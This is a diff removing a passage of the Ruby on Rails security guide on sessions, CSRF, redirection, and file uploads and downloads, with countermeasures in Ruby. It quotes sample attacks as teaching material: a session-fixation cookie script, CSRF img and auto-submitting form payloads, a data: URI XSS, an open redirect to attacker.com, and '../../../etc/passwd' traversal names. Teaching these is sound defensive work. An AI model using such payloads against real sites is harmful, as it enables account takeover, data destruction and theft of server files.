-Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
-</p>
-</li>
-<li>
-<p>
-Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
-</p>
-</li>
-<li>
-<p>
-Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
-</p>
-</li>
-<li>
-<p>
-Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
-<h3 id="_session_guidelines">2.4. Session guidelines</h3>
-<div class="para"><p>&#8212; <em>Here are some general guidelines on sessions.</em></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-</p>
-</li>
-<li>
-<p>
-<span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-</p>
-</li>
-</ul></div>
-<h3 id="_session_storage">2.5. Session storage</h3>
-<div class="para"><p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
-<div class="para"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
-<div class="para"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user's database id in a session is usually ok</span>.
-</p>
-</li>
-<li>
-<p>
-The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don't want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>config.action_controller.session = {
-  :session_key =&gt; ‘_app_session’,
-  :secret      =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
-}</tt></pre>
-</div></div>
-<div class="para"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
-<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
-<div class="para"><p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
-<div class="para"><p>It works like this:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
-</p>
-</li>
-<li>
-<p>
-The user buys something.
-</p>
-</li>
-<li>
-<p>
-His new, lower credit will be stored in the session.
-</p>
-</li>
-<li>
-<p>
-The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-</p>
-</li>
-<li>
-<p>
-The user has his credit back.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
-<div class="para"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
-<h3 id="_session_fixation">2.7. Session fixation</h3>
-<div class="para"><p>&#8212; <em>Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
-</div>
-</div>
-<div class="para"><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
-<div class="olist"><ol>
-<li>
-<p>
-The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-</p>
-</li>
-<li>
-<p>
-He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-</p>
-</li>
-<li>
-<p>
-Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
-Read more about XSS and injection later on.
-</p>
-</li>
-<li>
-<p>
-The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-</p>
-</li>
-<li>
-<p>
-As the new trap session is unused, the web application will require the user to authenticate.
-</p>
-</li>
-<li>
-<p>
-From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-</p>
-</li>
-</ol></div>
-<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
-<div class="para"><p>&#8212; <em>One line of code will protect you from session fixation.</em></p></div>
-<div class="para"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>reset_session
-</tt></pre></div></div>
-<div class="para"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
-<div class="para"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users  will not be able to use your application, or only in a limited way.</p></div>
-<h3 id="_session_expiry">2.9. Session expiry</h3>
-<div class="para"><p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
-<div class="para"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
-
    time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago
-
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute
-
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour
-
      <span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day
-
      <span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour
-
    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
    <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>
-
  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
-<div class="sectionbody">
-<div class="para"><p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
-</div>
-</div>
-<div class="para"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-</p>
-</li>
-<li>
-<p>
-<tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt>
-</p>
-</li>
-<li>
-<p>
-Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-</p>
-</li>
-<li>
-<p>
-By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-</p>
-</li>
-<li>
-<p>
-The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-</p>
-</li>
-<li>
-<p>
-Bob doesn't notice the attack &#8212; but a few days later he finds out that project number one is gone.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.</p></div>
-<div class="para"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
-<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
-<div class="para"><p>&#8212; <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
-<div class="para"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
-<div class="para"><p><strong>Use GET if:</strong></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
-</p>
-</li>
-</ul></div>
-<div class="para"><p><strong>Use POST if:</strong></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
-</p>
-</li>
-<li>
-<p>
-The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-</p>
-</li>
-<li>
-<p>
-The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
-<div class="para"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
-</div></div>
-<div class="para"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
-<div class="para"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
-<span style="color: #FF0000">  var f = document.createElement('form');</span>
-<span style="color: #FF0000">  f.style.display = 'none';</span>
-<span style="color: #FF0000">  this.parentNode.appendChild(f);</span>
-<span style="color: #FF0000">  f.method = 'POST';</span>
-<span style="color: #FF0000">  f.action = 'http://www.example.com/account/destroy';</span>
-<span style="color: #FF0000">  f.submit();</span>
-<span style="color: #FF0000">  return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
-<div class="para"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="&#8230;" /&gt;</tt></p></div>
-<div class="para"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The  <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
-<div class="para"><p><tt>protect_from_forgery :secret &#8658; "123456789012345678901234567890&#8230;"</tt></p></div>
-<div class="para"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.</p></div>
-<div class="para"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
-</div>
-<h2 id="_redirection_and_files">4. Redirection and Files</h2>
-<div class="sectionbody">
-<div class="para"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
-<h3 id="_redirection">4.1. Redirection</h3>
-<div class="para"><p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
-<div class="para"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
-  redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
-<div class="para"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
-<div class="para"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
-<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
-<div class="para"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
-<div class="para"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
-<div class="para"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
-<h3 id="_file_uploads">4.2. File uploads</h3>
-<div class="para"><p>&#8212; <em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div>
-<div class="para"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
-<div class="para"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don't try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “&#8230;.//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
-  returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
-    name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
-    name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
-<div class="para"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
-<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
-<div class="para"><p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.</em></p></div>
-<div class="para"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
-<div class="para"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
-<h3 id="_file_downloads">4.4. File downloads</h3>
-<div class="para"><p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p></div>
-<div class="para"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
-filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
-     File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
-send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span>
-</tt></pre></div></div>
-<div class="para"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
-</div>
-<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
-<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
-<div class="para"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
-<div class="para"><p><strong>XSS</strong>  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
-<div class="para"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p></div>
-<div class="para"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
-<div class="para"><p><strong>CSRF</strong>  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
-<div class="para"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.</p></div>
-<div class="para"><p>Another example changed Google Adsense's e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
-<div class="para"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
-<div class="para"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
-<h3 id="_additional_precautions">5.1. Additional precautions</h3>
-<div class="para"><p>The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
-</p>
-</li>
-<li>
-<p>
-Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-</p>
-</li>
-<li>
-<p>
